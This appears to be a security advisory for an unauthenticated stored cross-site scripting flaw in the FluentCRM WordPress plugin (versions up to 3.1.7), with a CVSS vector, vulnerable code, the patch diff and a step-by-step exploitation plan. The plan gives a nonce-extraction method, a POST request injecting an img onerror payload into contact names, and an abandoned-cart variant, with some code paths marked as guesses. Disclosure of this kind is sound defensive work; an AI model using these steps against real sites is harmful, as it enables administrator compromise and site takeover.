FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution <= 3.1.7 - Unauthenticated Stored Cross-Site Scripting
Description
The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.1.8
Source Code
WordPress.org SVN## Vulnerability Summary The FluentCRM plugin (versions <= 3.1.7) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. This occurs because the plugin fails to properly sanitize and escape user-supplied data—specifically contact names and abandoned cart details—before storing them …
Show full research plan
Vulnerability Summary
The FluentCRM plugin (versions <= 3.1.7) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). This occurs because the plugin fails to properly sanitize and escape user-supplied data—specifically contact names and abandoned cart details—before storing them in the database and subsequently rendering them in the WordPress administrative dashboard.
The vulnerability is particularly critical because it can be triggered by unauthenticated users (e.g., via subscription forms or abandoned cart tracking), and the payload executes in the context of an authenticated administrator, potentially leading to full site takeover through malicious script execution (e.g., creating a new admin user).
Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
fluentcrm_contacts_subscribe(standard subscription) or FluentCart tracking endpoints. - Vulnerable Parameters:
first_name,last_name, orfull_name(in abandoned cart context). - Authentication: None required (Unauthenticated).
- Preconditions:
- The FluentCRM plugin must be active.
- To obtain a valid nonce for the subscription endpoint, a page containing a FluentCRM form (or the default tracking script) must be accessible.
Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actionfluentcrm_contacts_subscribe. - Processing: The request is handled (likely in
app/Hooks/Handlers/ExternalEntry.phporapp/Http/Controllers/ContactController.php). Thefirst_nameandlast_nameparameters are captured. - Storage: The input is stored in the
fc_subscribersdatabase table. While basic sanitization might occur, it is insufficient to prevent XSS payloads like<img src=x onerror=alert(1)>. - Admin View: An administrator navigates to FluentCRM > Contacts.
- Sink: The Contacts listing or the Contact Profile page retrieves the name from the database. In
app/Hooks/Handlers/PurchaseHistory.phpor the main Contacts Vue/React dashboard, the name is rendered. If the rendering logic usesv-html(Vue) or fails to useesc_html()(PHP), the payload executes. - Example Sink in
PurchaseHistory.php:
If// Line 54 $html .= '<li><span class="fc_list_sub">' . $stat['title'] . '</span> <span class="fc_list_value">' . $stat['value'] . '</span></li>';$stat['value']contains a contact's name or custom field injected by the attacker, it is concatenated directly into$htmlwithout escaping.
Nonce Acquisition Strategy
FluentCRM typically enqueues a frontend script for form handling and tracking. The nonce is localized in a JavaScript object.
- Find a Form: Use WP-CLI to find an existing FluentCRM form or create a temporary page with a form shortcode.
- Command:
wp post create --post_type=page --post_status=publish --post_content='[fluentcrm_form id="1"]' --post_title='Subscription Page'
- Command:
- Navigate: Use
browser_navigateto visit the newly created page. - Extract Nonce: The plugin localizes data into the
fluentcrm_front_varsobject.- JS Variable:
window.fluentcrm_front_vars - Nonce Key:
nonce - Command:
browser_eval("window.fluentcrm_front_vars?.nonce")
- JS Variable:
Exploitation Strategy
Step 1: Data Setup
Create a page with a FluentCRM form to ensure the frontend variables are loaded.
wp post create --post_type=page --post_title="Sign Up" --post_status=publish --post_content='[fluentcrm_form id="1"]'
Step 2: Nonce Extraction
- Navigate to the page
/sign-up/. - Execute
browser_eval("window.fluentcrm_front_vars.nonce")to get the nonce for thefluentcrm_contacts_subscribeaction.
Step 3: Payload Injection (Unauthenticated)
Send a POST request to admin-ajax.php to create a new contact with an XSS payload.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=fluentcrm_contacts_subscribe& first_name=<img src=x onerror=alert("XSS_IN_NAME")>& last_name=Attacker& email=evil@example.com& _wpnonce=[EXTRACTED_NONCE]
Step 4: Admin Trigger
Navigate to the FluentCRM Contacts page as an administrator.
- Log in as admin.
- Navigate to
http://localhost:8080/wp-admin/admin.php?page=fluentcrm-admin#/contacts. - Observe the alert box triggered by the injected
first_name.
Test Data Setup
- Plugin Configuration: Ensure FluentCRM is installed and at least one List exists (required for some subscription forms).
wp eval "FluentCrm\App\Models\Lists::create(['title' => 'Default List', 'slug' => 'default-list']);"
- User: No special user required (attacker is unauthenticated).
Expected Results
- The
http_requestshould return a JSON success message (e.g.,{"status": "success", ...}). - When the admin views the contact list, the browser should execute the JavaScript in the
onerrorhandler of the image tag.
Verification Steps
Check the database to confirm the payload is stored unescaped:
wp db query "SELECT first_name FROM $(wp db prefix)fc_subscribers WHERE email='evil@example.com'"
The output should contain the raw <img ...> tag.
Alternative Approaches
If the fluentcrm_contacts_subscribe action is not available or requires different parameters, try the Abandoned Cart vector:
- Locate the tracking endpoint (often used via the
FluentCartdriver). - Identify the
fc_ab_fct_cart_noncefrom the frontend script localized viafc_ab_fct_cart. - Send a tracking fragment with a malicious
full_name. - Navigate to FluentCRM > Sales > Abandoned Carts in the admin panel to trigger the XSS.
Summary
FluentCRM versions up to 3.1.7 are vulnerable to unauthenticated stored cross-site scripting due to improper sanitization of contact data and abandoned cart fragments. Attackers can inject malicious scripts via subscription forms or tracking endpoints which execute when an administrator views the contact list or commerce widgets in the dashboard.
Vulnerable Code
// app/Hooks/Handlers/PurchaseHistory.php:54 $html .= '<li><span class="fc_list_sub">' . $stat['title'] . '</span> <span class="fc_list_value">' . $stat['value'] . '</span></li>'; --- // app/Http/Controllers/CampaignController.php:43 $with = array_map('sanitize_key', $request->get('with', [])); --- // app/Modules/AbandonCart/Drivers/FluentCart/FluentCartTrackingInit.php:162 $fullName = $fctCart->full_name ?? trim($fctCart->first_name . ' ' . $fctCart->last_name);
Security Fix
@@ -529,7 +529,7 @@ if (!empty($data['purchased_products'])) { $body .= '<li><b>' . esc_html__("Purchased Products", "fluent-crm") . '</b><hr /><ul class="fc_list">'; foreach ($data['purchased_products'] as $product) { - $body .= '<li><a target="_blank" rel="nofollow" href="' . $product->guid . '">' . $product->post_title . '</a></li>'; + $body .= '<li><a target="_blank" rel="nofollow" href="' . esc_url($product->guid) . '">' . esc_html($product->post_title) . '</a></li>'; } $body .= '</ul></li>'; } @@ -40,7 +40,7 @@ $order = in_array($order, ['ASC', 'DESC'], true) ? $order : 'DESC'; $orderBy = sanitize_key($request->get('sort_by', '')); - $with = array_map('sanitize_key', $request->get('with', [])); + $with = array_values(array_map('sanitize_key', (array) $request->get('with', []))); $labels = $request->get('labels', []); $labels = is_array($labels) ? array_map('intval', $labels) : []; @@ -248,7 +253,7 @@ return $this->sendSuccess(['campaign' => $campaign, 'emails' => $emails]); } - $with = array_map('sanitize_key', $request->get('with', [])); + $with = array_values(array_map('sanitize_key', (array) $request->get('with', []))); if ($with) { $campaign = Campaign::with($with)->find($id); } else {
Exploit Outline
The exploit targets unauthenticated endpoints such as the 'fluentcrm_contacts_subscribe' AJAX action or FluentCart tracking fragments. 1. An attacker first acquires a valid nonce from a public-facing page containing a FluentCRM subscription form (found in the 'fluentcrm_front_vars' JavaScript object). 2. The attacker sends a POST request to admin-ajax.php with the action 'fluentcrm_contacts_subscribe', injecting an XSS payload (e.g., <img src=x onerror=alert(1)>) into the 'first_name', 'last_name', or 'full_name' parameters. 3. The payload is stored in the database without sufficient sanitization. 4. When an administrator logs in and views the 'Contacts' list or the 'Abandoned Cart' overview in the FluentCRM dashboard, the application renders the stored name using unescaped concatenation (or via vulnerable Vue/React components), triggering the execution of the malicious script in the administrator's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.